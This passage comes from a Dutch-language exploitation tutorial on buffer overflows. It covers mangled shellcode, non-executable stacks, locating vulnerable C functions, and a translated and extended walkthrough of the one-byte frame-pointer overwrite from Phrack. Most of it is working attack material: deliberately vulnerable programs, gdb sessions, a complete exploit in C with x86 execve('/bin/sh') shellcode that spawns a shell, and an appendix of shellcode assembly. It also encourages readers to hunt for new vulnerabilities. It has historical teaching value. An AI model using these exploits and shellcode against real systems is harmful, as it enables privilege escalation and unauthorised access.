Deze zijn eigenlijk hetzelfde als local bufferoverflows er kunnen echter
twee problemen zijn: Het is moeilijker om de goede offset te vinden. En het
kan voorkomen dat alleen execve("/bin/sh"...) niet voldoende is zodat er nieuwe
shellcode geschreven moet worden die iets anders doet. Het probleem van de
offset is relatief makkelijk op te lossen, de meeste daemons draaien vanuit
init, eventueel met tussenkomst van inetd, en zullen dus niet veel in hun
environment hebben staan (wat voor het grootste deel de offset bepaald).
Bovendien zal dit environment weinig verschillen tussen verschillende
installaties zodat je rustig thuis de offset kan zoeken die keurig midden
in de nops valt en dan gaan proberen. het probleem van de shellcode is ook
relatief makkelijk oplosbaar: mail mij, er is ook een minder makkelijke
oplossing: maak het zelf met behulp van de uitleg die al eerder in dit
artikel stond, maar hiervoor is kennis van assembler vereist (een beetje
op zijn minst)
Gemangelde shellcode
~~~~~~~~~~~~~~~~~~~~
Het is mogelijk dat je bufferoverflows tegenkomt die voordat zij de
string kopieren enige dingen in die string wijzigen, bijvoorbeeld van alle
kleine letters hoofd letters maken, of een bepaalde set van characters niet
toestaan. Meestal leidt dit tot onwerkzame shellcode ("/BIN/SH" is meestal
een niet bestaand programma). Een oplossing voor dit probleem is het wijzigen
van de shellcode zodat er een kleine letters in voorkomen, maar als de lijst
met 'verboden' characters erg groot is kan dit een ondoenlijke opgave zijn.
De oplossing is dan om de shellcode niet in de buffer die gemangeld wordt op
te slaan maar, zoals boven gebeurt, in het environment of in een andere buffer
in het programma. Helaas had ik dit nog niet bedacht op CCC zodat Gerrie mij
meer dan een dag heeft zien zwoegen met shellcode voor een bepaalde webserver
(wat toen is opgelost door de shellcode een soort uuencode behandeling te
laten ondergaan).
Het enige dat in zijn geheel door de mangel moet komen is het return
adres. In de web-server waarover hierboven werd gesproken leverde dit een
probleem op. De oplossing hiervoor was om de volgorde van shellcode en NOP's
om te keren, dus eerst de shellcode, dan de NOPS' en vervolgens een relatieve
JMP terug naar de shellcode. Iets anders dat misschien een oplossing voor een
gemangeld return adres is is alleen de frame pointer te overschrijven, zoals
verderop wordt uigelegd.
Non executable Stack
~~~~~~~~~~~~~~~~~~~~
Non executable stacks kunnen een groot probleem zijn. Het probleem bij
deze stacks is namelijk dat het onmogelijk om instructies op de stack uit te
voeren. Wat betekend dat de shellcode niet op de stack mag staan. De
makkelijkste oplossing is op dit moment om de shellcode in het data-segment
te zetten (in malloced space dus), aangezien ik op dit moment geen systeem
ken met een non-executable data segment.
Aangezien ik zelf niet erg veel ervaring heb met het verslaan van een
non executable stack staat hier verder weinig info, misschien komt er later
nog een artikel over. Ik had in eerste instantie een oplossing die gebaseerd
was op het terugkeren in libc, maar Solar Designer (bouwer van de
Non-executable-stack patch voor Linux) had daar allang over gedacht en die
manier werkt dus niet onder Linux, mogelijk is het nog wel een goede manier
voor andere systemen, die uit zich zelf al een non-executable stack hebben,
als je de info alsnog wilt hebben weet je de weg.
Het vinden van Buffer Overflows
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Zoals ook al eerder is gezegd zijn bufferoverflows het gevolg van het
stoppen van meer informatie in een buffer dan er in past. Omdat C niet erg
veel ingebouwde bound checks heeft zijn er vele functies die een character
string kopieren zonder op de lengte te letten. Voorbeelden hiervan zijn:
strcpy(), strcat(), sprintf(), vsprintf() deze functies werken met strings
die beeindigd worden door null bytes en checken niet voor een overflow.
gets() is een functie die een regel leest van de standaard invoer en deze
in een buffer plaatst zonder op de lengte te letten. De verschillende scanf()
functies kunnen voor problemen zorgen door dat de %s optie wordt gebruikt of
de %[] optie zonder de optionele maximum lengte. Al deze functies leiden
makkelijk tot overflows als zij worden gebruikt in combinatie met niet
gecontroleerde invoer.
Een andere programmeer constructie die je regelmatig voorkomt is een
while loop waarin characters worden gelezen en in een buffer worden geplaats
of van de ene buffer naar de andere buffer worden gekopieerd. Vaak zijn dit
constructies met getc(), fgetc(), getchar() of functies met dezelfde
strekking. Bij het kopieren is de *p++ = *q++ karakteristiek.
Om af te sluiten: grep(1) is je vriend. Van zeer veel programma's is de
source openbaar. Dit is extra interessant als je bedenkt dat veel commerciele
software is afgeleidt van dezelfde source. May the source be with you.
Als oefening is het goed om oudere sources te gebruiken (debian 1.2 is mijn
favoriet) en daar de bekende bugs in op te sporen en hiervoor exploits te
bouwen. (mount // suidperl // crontab // bootpd // rpc.mountd (die laatste
lukt je niet in debian maar goed)).
Frame pointer overwriting
~~~~~~~~~~~~~~~~~~~~~~~~~
Dit laatste stuk gaat over het exploiten van bufferoverflows onder een
van de slechts denkbare condities: een overflow van slechts 1 byte. Dit stuk
is geschreven aan de hand van klog's (klog@promisc.org) artikel in Phrack 55,
file 08. Het enige nieuwe is dat het in het Nederlands is en de toevoeging van
een stuk waarin een aantal van de bezwaren die klog ziet wordt opgelost alsmede
een moeilijkere variant die waarschijnlijk echter meer voorkomt, de off-by-one
bufferoverflow waarbij door een denkfout van de programmeur het mogelijk is
dat er een null byte net voorbij het einde van de buffer word geschreven. Van
dit laatste zal ook een engelse versie komen. (Die is er echter op dit moment
nog niet)
Hieronder staat een voorbeeld van een vulnerabel programma welke we "suid"
noemen, het is geschreven op zo'n manier dat er slechts eeen byte kan worden
geoverflowd.
ipdev:~/tests$ cat > suid.c
#include <stdio.h>
func(char *sm)
{
char buffer[256];
int i;
for(i=0;i<=256;i++)
buffer[i]=sm[i];
}
main(int argc, char *argv[])
{
if (argc < 2) {
printf("missing args\n");
exit(-1);
}
func(argv[1]);
}
^D
ipdev:~/tests$ gcc suid.c -o suid
ipdev:~/tests$
Zoals je kan zien is er niet erg veel ruimte om dit programma te
exploiten. In feite kunnen we slechts een byte overflowen en deze zullen we
op een slimme manier moeten gebruiken. Voordat we beginnen met de exploit
moeten we kijken wat deze byte nou werkelijk overwrite, (als het goed hebt
opgelet weet je dit al maar goed). We bekijken de stack mbv gdb op het moment
van de overflow.
ipdev:~/tests$ gdb ./suid
...
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 <func>: pushl %ebp
0x8048135 <func+1>: movl %esp,%ebp
0x8048137 <func+3>: subl $0x104,%esp
0x804813d <func+9>: nop
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
0x8048152 <func+30>: jle 0x8048158 <func+36>
0x8048154 <func+32>: jmp 0x804817c <func+72>
0x8048156 <func+34>: leal (%esi),%esi
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
0x804815e <func+42>: movl %edx,%eax
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
0x8048166 <func+50>: movl 0x8(%ebp),%edx
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
0x804816f <func+59>: movb (%edx),%cl
0x8048171 <func+61>: movb %cl,(%eax)
0x8048173 <func+63>: incl 0xfffffefc(%ebp)
0x8048179 <func+69>: jmp 0x8048148 <func+20>
0x804817b <func+71>: nop
0x804817c <func+72>: movl %ebp,%esp
0x804817e <func+74>: popl %ebp
0x804817f <func+75>: ret
End of assembler dump.
(gdb)
Zoals we weten pusht de processor het return adres op de stack bij het
uitvoeren van de CALL instructie. Vervolgens pusht ons programma %ebp op
de stack en vervolgens wordt er ruimte gereserveerd voor de locale variabelen,
door $0x104 van esp af te trekken. $0x104 bytes worden gereserveerd, $0x100
voor de buffer en $0x04 voor de int. Houdt er rekening mee dat de variabelen
tot een veelvoud van 4 bytes worden aangevult. De stack ziet er dus als volgt
uit op het moment van de overflow:
bottom of top of
memory memory
i buffer sfp ret *sm
<------ [ ][ ][ ][ ][ ]
^ ^
+- buffer[000] +- buffer[255]
top of bottom of
stack stack
(Noot in de buffer is niet meer elk hokje 1 byte)
Dit betekent dat de byte de we overflowen deel uit maakt van de saved
frame pointer, hoe kunnen we nu deze byte gebruiken om loop van het programma
te wijzigen? Laten we kijken wat er gebeurt met deze %ebp. We weten dat hij
wordt herstels aan het einde van de functie, zoals we kunnen zien op
0x804817e. Maar wat gebeurt er dan? (gdb) disassemble main
Dump of assembler code for function main:
0x8048180 <main>: pushl %ebp
0x8048181 <main+1>: movl %esp,%ebp
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
0x8048187 <main+7>: jg 0x80481a0 <main+32>
0x8048189 <main+9>: pushl $0x8058ad8
0x804818e <main+14>: call 0x80481b8 <printf>
0x8048193 <main+19>: addl $0x4,%esp
0x8048196 <main+22>: pushl $0xffffffff
0x8048198 <main+24>: call 0x804d598 <exit>
0x804819d <main+29>: addl $0x4,%esp
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
0x80481a3 <main+35>: addl $0x4,%eax
0x80481a6 <main+38>: movl (%eax),%edx
0x80481a8 <main+40>: pushl %edx
0x80481a9 <main+41>: call 0x8048134 <func>
0x80481ae <main+46>: addl $0x4,%esp
0x80481b1 <main+49>: movl %ebp,%esp
0x80481b3 <main+51>: popl %ebp
0x80481b4 <main+52>: ret
0x80481b5 <main+53>: nop
0x80481b6 <main+54>: nop
0x80481b7 <main+55>: nop
End of assembler dump.
(gdb)
Great! Nadat func() is aangeroepen wordt %ebp aan het einde van main()
naar %esp gekopieerd (0x80481b1) en vervolgens returned main(). We kunnen dus
%esp naar een min of meer willekeurige waarde wijzigen. Laatste check of we
gelijk hebben.
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 <main>: pushl %ebp
0x8048181 <main+1>: movl %esp,%ebp
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
0x8048187 <main+7>: jg 0x80481a0 <main+32>
0x8048189 <main+9>: pushl $0x8058ad8
0x804818e <main+14>: call 0x80481b8 <printf>
0x8048193 <main+19>: addl $0x4,%esp
0x8048196 <main+22>: pushl $0xffffffff
0x8048198 <main+24>: call 0x804d598 <exit>
0x804819d <main+29>: addl $0x4,%esp
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
0x80481a3 <main+35>: addl $0x4,%eax
0x80481a6 <main+38>: movl (%eax),%edx
0x80481a8 <main+40>: pushl %edx
0x80481a9 <main+41>: call 0x8048134 <func>
0x80481ae <main+46>: addl $0x4,%esp
0x80481b1 <main+49>: movl %ebp,%esp
0x80481b3 <main+51>: popl %ebp
0x80481b4 <main+52>: ret
0x80481b5 <main+53>: nop
0x80481b6 <main+54>: nop
0x80481b7 <main+55>: nop
End of assembler dump.
(gdb) break *0x80481b4
Breakpoint 2 at 0x80481b4
(gdb) run `overflow 257`
Starting program: /home/klog/tests/suid `overflow 257`
Breakpoint 2, 0x80481b4 in main ()
(gdb) info register esp
esp 0xbffffd45 0xbffffd45
(gdb)
Het lijkt alsof we gelijk hebben, na dat we de buffer hebben geoverflowed
met 1 'A' (0x41), wordt %ebp gekopieerd naar %esp welke wordt verhoogd met 4
doordat %ebp van de stack wordt gepopped. Dit levert op: 0xbffffd41 + 0x4 =
0xbffffd45
De exploit
~~~~~~~~~~
Wat levert het veranderen van de stack pointer op? We kunnen niet
rechtstreeks de waarde van %eip veranderen maar we kunnen wel zorgen dat de
processor denk dat deze zich op een andere plaats bevind. Als de processor
terug keert van een functie pop hij de eerste waarde van de stack onder de
aanname dat dat de correcte %eip is. Maar als we %esp veranderen kunnen we
ervoor zorgen dat de processor een andere %eip popt en aldus de loop van het
programma veranderen. De buffer moet er dus als volgt uit zien:
[nops+shellcode][&shellcode][%ebp veranderend byte]
Om dit te doen moeten we eerst bepalen met welke waarde we %ebp moeten
wijzigen. Hoe ziet de stack eruit op het moment van de bufferoverflow?
N = nop, S = shellcode, A = adres van shellcode (of nops)
van sfp is 1 byte veranderd
bottom of top of
memory memory
i buffer sfp ret *sm
<------ [ ][NNNNNNNNSSSSSSSSAAAA][ ][ ][ ]
^ ^
+- buffer[000] +- buffer[255]
top of bottom of
stack stack
We willen dat %esp wijst naar &shellcode zodat het adres van de shellcode
naar %eip wordt gepopt als de processor terug keert van main(). Nu we precies
weten hoe het programma willen exploiten moeten de nodig informatie uit het
programma halen, deze informatie bestaat uit het adres van de geoverflowde
buffer en uit het adres van de pointer naar onze shellcode (&shellcode). We
runnen het programma alsof we het willen exploiten met een 257 bytes string.
Om dit te doen moeten we eerst een nep-exploit schrijven dat de context van
"suid" nabootst om aan de infomatie te komen.
ipdev:~/tests$ cat > fake_exp.c
#include <stdio.h>
#include <unistd.h>
main()
{
int i;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i<=256;i++)
{
buffer[i] = 'A';
}
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc fake_exp.c -o fake_exp
ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp2
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 <func>: pushl %ebp
0x8048135 <func+1>: movl %esp,%ebp
0x8048137 <func+3>: subl $0x104,%esp
0x804813d <func+9>: nop
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
0x8048152 <func+30>: jle 0x8048158 <func+36>
0x8048154 <func+32>: jmp 0x804817c <func+72>
0x8048156 <func+34>: leal (%esi),%esi
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
0x804815e <func+42>: movl %edx,%eax
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
0x8048166 <func+50>: movl 0x8(%ebp),%edx
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
0x804816f <func+59>: movb (%edx),%cl
0x8048171 <func+61>: movb %cl,(%eax)
0x8048173 <func+63>: incl 0xfffffefc(%ebp)
0x8048179 <func+69>: jmp 0x8048148 <func+20>
0x804817b <func+71>: nop
0x804817c <func+72>: movl %ebp,%esp
0x804817e <func+74>: popl %ebp
0x804817f <func+75>: ret
End of assembler dump.
(gdb) break *0x804813d
Breakpoint 1 at 0x804813d
(gdb) c
Continuing.
Breakpoint 1, 0x804813d in func ()
(gdb) info register esp
esp 0xbffffc60 0xbffffc60
(gdb)
Bingo. We hebben nu de %esp vlak nadat de functie is aangeroepen. mbv deze
waarde kunnen we berekenen dat de buffer op adres 0xbffffc60 + 0x4
(sizeof(int)) = 0xbffffc64 en dat de pointer naar onze shellcode zal worden
geplaatst op 0xbffffc64 + 0x100 (size of 'char buffer[256]') - 0x04 (sizeof
our pointer) = 0xbffffd60.
Tijd voor de exploit
~~~~~~~~~~~~~~~~~~~~
Nu we deze waardes hebben kunnen we een volledige versie schrijven van
het exploit inclusief de shellcode, de pointer naar de shellcode en de
overschrijvende byte. De waarde waarmee we de sfp moeten overschrijven
is 0x60 - 0x04 = 0x05c aangezien we %ebp poppen vlakvoor het returnen vanuit
main(). Deze 4 bytes comperseren voor deze pop. Voor de pointer naar de
shellcode telt het zelfde als het return adres in een normale bufferoverflow,
hij hoeft niet precies naar de code te wijzen, ergens in de nops is ook goed.
Hij moet dus wijzen naar ergens tussen de nops, tussen het begin van de
buffer (0xbffffc64) en onze shellcode (0xbffffc64 - sizeof(shellcode)) we
kiezen 0xbfffffc74.
ipdev:~/tests$ cat > exp.c
#include <stdio.h>
#include <unistd.h>
char sc_linux[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
main()
{
int i, j;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i<=(252-sizeof(sc_linux));i++)
{
buffer[i] = 0x90;
}
for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
{
buffer[i] = sc_linux[j];
}
buffer[i++] = 0x74; /*
buffer[i++] = 0xfc; * Address of our buffer
buffer[i++] = 0xff; *
buffer[i++] = 0xbf; */
buffer[i++] = 0x5c;
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc exp.c -o exp
ipdev:~/tests$ ./exp
bash$
FanFuckingTastisch (oeps). Laten we beter kijken naar wat er gebeurde,
als je het al begrepen hebt kun je skippen naar het einde.
ipdev:~/tests$ gdb --exec=exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb)
We zetten een aantal breakpoints neer zodat we precies de uitvoer van het
suid programma kunnen volgen. We proberen de waarde van %ebp en %esp te volgen
totdat onze shellcode uitgevoerd wordt.
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 <func>: pushl %ebp
0x8048135 <func+1>: movl %esp,%ebp
0x8048137 <func+3>: subl $0x104,%esp
0x804813d <func+9>: nop
0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)
0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)
0x8048152 <func+30>: jle 0x8048158 <func+36>
0x8048154 <func+32>: jmp 0x804817c <func+72>
0x8048156 <func+34>: leal (%esi),%esi
0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx
0x804815e <func+42>: movl %edx,%eax
0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax
0x8048166 <func+50>: movl 0x8(%ebp),%edx
0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx
0x804816f <func+59>: movb (%edx),%cl
0x8048171 <func+61>: movb %cl,(%eax)
0x8048173 <func+63>: incl 0xfffffefc(%ebp)
0x8048179 <func+69>: jmp 0x8048148 <func+20>
0x804817b <func+71>: nop
0x804817c <func+72>: movl %ebp,%esp
0x804817e <func+74>: popl %ebp
0x804817f <func+75>: ret
End of assembler dump.
(gdb) break *0x804817e
Breakpoint 1 at 0x804817e
(gdb) break *0x804817f
Breakpoint 2 at 0x804817f
(gdb)
Deze breakpoints zorgen ervoor dat we de waarde van %ebp kunnen blijven
volgen terwijl deze van de stack wordt afgehaald. Deze waardes komen overeen
met de orginele en de overschreven waardes.
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 <main>: pushl %ebp
0x8048181 <main+1>: movl %esp,%ebp
0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)
0x8048187 <main+7>: jg 0x80481a0 <main+32>
0x8048189 <main+9>: pushl $0x8058ad8
0x804818e <main+14>: call 0x80481b8 <_IO_printf>
0x8048193 <main+19>: addl $0x4,%esp
0x8048196 <main+22>: pushl $0xffffffff
0x8048198 <main+24>: call 0x804d598 <exit>
0x804819d <main+29>: addl $0x4,%esp
0x80481a0 <main+32>: movl 0xc(%ebp),%eax
0x80481a3 <main+35>: addl $0x4,%eax
0x80481a6 <main+38>: movl (%eax),%edx
0x80481a8 <main+40>: pushl %edx
0x80481a9 <main+41>: call 0x8048134 <func>
0x80481ae <main+46>: addl $0x4,%esp
0x80481b1 <main+49>: movl %ebp,%esp
0x80481b3 <main+51>: popl %ebp
0x80481b4 <main+52>: ret
0x80481b5 <main+53>: nop
0x80481b6 <main+54>: nop
0x80481b7 <main+55>: nop
End of assembler dump.
(gdb) break *0x80481b3
Breakpoint 3 at 0x80481b3
(gdb) break *0x80481b4
Breakpoint 4 at 0x80481b4
(gdb)
Hier willen we bijhouden het kopieren van de overschreven %ebp naar %esp
en de inhoud van %esp totdat de return van main() gebeurt.
(gdb) c
Continuing.
Breakpoint 1, 0x804817e in func ()
(gdb) info reg ebp
ebp 0xbffffd64 0xbffffd64
(gdb) c
Continuing.
Breakpoint 2, 0x804817f in func ()
(gdb) info reg ebp
ebp 0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.
Breakpoint 3, 0x80481b3 in main ()
(gdb) info reg esp
esp 0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.
Breakpoint 4, 0x80481b4 in main ()
(gdb) info reg esp
esp 0xbffffd60 0xbffffd60
(gdb)
De eerste keer zien we de orginele waarde van %ebp. Nadat hij wordt
gepopd van de stack kunnen we zien dat hij wordt vervangen door degene die
overschreven is door 0x5c. Daarna wordt deze %ebp gekopieerd naar %esp en
uiteindelijk wordt %esp verhoogt met 4 voor de pop van %ebp en eindigd %ebp
met de uiteindelijke waarde, 0xbffffd60. Laten we kijken wat daar in het
geheugen staat.
(gdb) x 0xbffffd60
0xbffffd60 <__collate_table+3086619092>: 0xbffffc74
(gdb) x/10 0xbffffc74
0xbffffc74 <__collate_table+3086618856>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc84 <__collate_table+3086618872>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc94 <__collate_table+3086618888>: 0x90909090
0x90909090
(gdb)
We kunnen zien dat 0xbffffd60 het adres is van de pointer naar de
shellcode, welke in dit geval midden in de nops wijst. Als de processor
terug keert van main() zal hij deze pointer naar %eip poppen en daar
verdergaan met het uitvoeren van de shellcode.
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000990 in ?? ()
(gdb) c
Continuing.
bash$
Het onderstaande stuk is een vertaling van klog's conclusie als er rare
dingen instaan is dit hoogst waarschijnlijk aan mij te wijten, lees de
orginele (engelse) tekst als je dit zeker wilt weten
<--------
Conclusies van klog
~~~~~~~~~~~~~~~~~~~
Hoewel de techniek er leuk uitziet blijven er een aantal problemen
onopgelost. Het naar je hand zetten van de loop van een programma door
slechts 1 bytes te overschrijven is zeker mogeijk, maar onder wat voor
condities? Het is een feit dat het exploiten van een 1 bytes bufferoverflow
erg moeilijk kan zijn in een vijandige omgeving of erger, op een remote host.
Het is noodzakelijk de exacte grote van de stack van het doel process te
gokken. Bovendien moet de buffer die wordt geoverflowed de eerste zijn in de
functie, en moet deze een veelvoud van 4 bytes zijn aangezien je anders
slechts een padding byte overflowed. En wat gebeurt er als we een big-endian
systeem willen exploiten? Dit is practisch onmogelijk aangezien we alleen de
most significant byte kunnen overschrijven en het adres wat we dan bereiken
is hoogst waarschijnlijk niet in ons bereik....
Toch kunnen er aan deze ongeveer onmogelijke exploit sitatie conclusies
worden verbonden. Hoewel het me zou verbazen als iemand in staat is deze
techniek te gebruiken voor een real world exploit, het maakt zeker duidelijk
dat er niet zoiets is als een kleine of een grote vulnerability. Elke lek is
exploitable, het enige dat je te weten moet komen is hoe.
Met dank aan: binf, rfp, halflife, route
------->Einde vertaling van klog's conclusie.
Oplossing van de Dvorak
~~~~~~~~~~~~~~~~~~~~~~~
De hierboven genoemde bufferoverflow zal (mijn inziens) in de praktijk
weinig voorkomen, wat waarschijnlijker is een overflow waarbij door een
rekenfout van de programmeur een 0 byte op de verkeerde plaats wordt
geschreven, wat vooral kan voorkomen bij het veelvuldig gebruik van while
lussen in combinatie met constructies als *p++ = *q++. Hier onder staat een
tweede vulnerable programma. (Belabberde code, in het echt kom je het niet
zo tegen maar hij komt uiteindelijk op dezelfde overflow uit). (Als de
overflow van de soort is die in klog's stuk wordt genoemd zou je $00 of $04
als overschrijvende byte kunnen gebruiken om het practish zelfde resultaat te
bereiken.)
vuln.c
void function(char *str)
{
char buffer[0x100];
int len;
len = strlen(str);
if (len > sizeof(buffer))
len = sizeof(buffer);
strncpy(buffer, str, len);
buffer[len] = '\0';
}
void main(int argc, char *argv[])
{
function(argv[1]);
return;
}
De programmeur heeft duidelijk zijn best gedaan om een overflow te
voorkomen, wat gebeurt er achter als we toch een te lange string meegeven
aan het programma?
$ ./vuln `perl -e 'print "A" x 255'`
$ ./vuln `perl -e 'print "A" x 1024'`
Segmentation fault (core dumped) ./vuln
$ exit
We krijgen nog steeds een segmentation violation, hoe komt dit? Als we
een 1024 byte string aan function() voeren zal hij zien dat dit meer is dan
sizeof(buffer) welke 0x100 (256) is. Hij zal dus maximaal 256 bytes kopieren
tot zover is alles correct. Wat gebeurt er daarna echter? Hij probeert de
string op een nette manier te beindigen met een null byte. Waar komt deze
terecht? in buffer[256] dit is 1 byte voorbij het einde van de buffer,
(het is nog steeds C, een buffer van 256 bytes loopt van 0 tot 255). Dit
betekend dat een deel van de sfp wordt overschreven met een 0 byte. Deze
wordt in gekopieert naar %esp en er wordt vervolgens een verkeerde %eip
gepopped en het programma crasht.
Wat is het resultaat voor de registers?
$ ./vuln `perl -e 'print "A" x 256'`
zsh: segmentation fault (core dumped) ./vuln
$ gdb vuln core
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i486-debian-linux), Copyright 1996 Free Software Foundation, Inc...
(no debugging symbols found)...
Core was generated by `./vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,{'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.5.4.13...(no debugging symbols found)...done.
Reading symbols from /lib/ld-linux.so.1...(no debugging symbols found)...done.
#0 0x41414141 in ?? ()
(gdb) info reg
eax 0xbffffc38 -1073742792
ecx 0xbfffff14 -1073742060
edx 0xbffffd38 -1073742536
ebx 0x0 0
esp 0xbffffd08 0xbffffd08
ebp 0x41414141 0x41414141
esi 0x40005fd8 1073766360
edi 0x8048400 134513664
eip 0x41414141 0x41414141
eflags 0x10286 66182
cs 0x100023 1048611
ss 0x9002b 589867
ds 0xbfff002b -1073807317
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) quit
Het blijkt dat %eip is veranderd in 0x41414141 dit is op zich vreemd
aangezien 265 bytes nooit genoeg zijn om het return adres te overschrijven,
de verklaring zit in het vorige stuk (happy thinking ;). Ook kan je zien dat
%ebp 0x41414141 is geworden, dit alsgevolg van de pop %ebp vlak voor het
einde van main().
De plaats waarvandaan %eip wordt gepopped is (de veranderde) %ebp + 0x4
(vanwege pop %ebp in main) we moeten dus zorgen dat daar een pointer naar
shellcode staat. klog loste dit op door de precieze locatie te berekenen en
merkte later op dat dit een probleem wordt voor remote exploits. Hoe lossen
wij het dan op? Aangezien de laagste byte van %ebp 0 wordt wordt %ebp
practisch altijd verlaagd (de uitzondering is als de laagste byte al 0 was,
dan hebben we gewoon pech) waardoor %ebp nu ergens in onze buffer wijst. Als
we dus onze hele buffer (of in iedergeval de bovenste 256 bytes) vullen met
het adres van de shellcode hebben we een grote kans van slagen.
Dit gaat alleen mis als de laagste byte van %ebp 0 was, er verandert dan
niets. Ook gaat het mis als de laagste byte van %ebp 4 was, wat gebeurt er
dan namelijk: %ebp wordt 4 lager en point dan precies in de achterkant van
de buffer. Deze waarde wordt gekopieert naar %esp. Als dan %ebp wordt gepopt
in main() wijst %esp naar de oude plaats van %ebp (doordat er 4 bytes bij
worden opgeteld), en deze waarde wordt gepopt als volgende waarde voor %eip.
De waarde op die plaats is het adres van de bovenkant van de buffer zodat
%eip daar heen wijst en niet naar de shellcode.
In de andere gevallen werkt dit systeem goed. Nu moeten we alleen nog
een plaats hebben voor de shellcode en die plaats te weten komen, we kunnen
de code bijvoorbeeld plaatsen in het environment, of bij een remote exploit,
in een andere buffer in het programma. En daarvan het adres gokken // te
weten komen op dezelfde manier als bij een standaard bufferoverflow. Als test
kan de perl-exploit.pl aan het einde worden gebruikt als de laagste byte van
%ebp niet toevallig 0 of 4 is werkt deze tegen ./vuln.
Alvast excuses voor het feit dat ik geen diepgaande uitleg geef, lees
het laatste stuk rustig door en experimenteer wat, je komt er wel uit, als
je het wilt gebruiken zonder het te snappen: Vul de buffer met het adres van
de shellcode en met een beetje geluk komt het goed.
Conclusie
~~~~~~~~~
Het blijkt minder moeilijk om de bug te exploiten dan gedacht doordat de
gehele buffer gevuld kan worden met het mogelijk adres van de shellcode. Een
probleem blijft als de laagste byte van %ebp 0 of 4 is. Dit is bij een local
exploit makkelijk op te lossen door extra dingen in het environment te
stoppen. Bij een remote exploit is dit een groter probleem, maar bij elke
daemon die automatisch gerestart wordt kan er meerdere malen worden
geprobeert. Eventueel kan dan ook het geval met het laagste byte van
%ebp = 4 worden geexploit. (Door de shellcode in de buffer te plaatsen en
te eindigen aan het einde van de buffer met een relatieve sprong naar de
rest van shellcode, try it)
Een aantal van de problemen die klog zag blijven overeind: De buffer
moet een veelvoud van 4 bytes groot zijn, het moet de eerst gedeclareerde
variabele in een functie zijn, het systeem moet little-endian zijn en
bovendien moet de parent functie (de functie die de functie met de overflow
aanroept, main() in dit geval) niet te veel doen met zijn locale variabelen
of argumenten aangezien zijn frame pointer is gewijzigd, ook mag de parent
niet nog andere functies aanroepen aangezien anders de pointers naar de
shellcode overschreven kunnen worden.
En nu allemaal een paar oefen exploits bouwen en dan opzoek naar nieuwe
vulnerabilities. En als je die vindt: stuur een mailtje met details naar
dvorak (@hit2000.org // @synnergy.net)
Literatuur
~~~~~~~~~~
Aleph One (aleph1@underground.org), "Smashing the Stack for Fun and
Profit", Phrack Magazine (www.phrack.com), Volume 7, Issue 49, File
14 of 16.
klog (klog@promisc.org), "The Frame Pointer Overwrite", Phrack Magazine
(www.phrack.com), Volume 9, Issue 55, File 8 of 19.
Linus Torvalds and others, "Linux Kernel Source", /usr/src/linux.
Lots of authors, "Linux man pages", /usr/man.
Appendix A - Shellcode for Different Operating Systems/Architectures
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Deze Shellcodes alsmede het eggshell programma zijn afkomstig van Aleph1.
i386/Linux
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
SPARC/Solaris
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
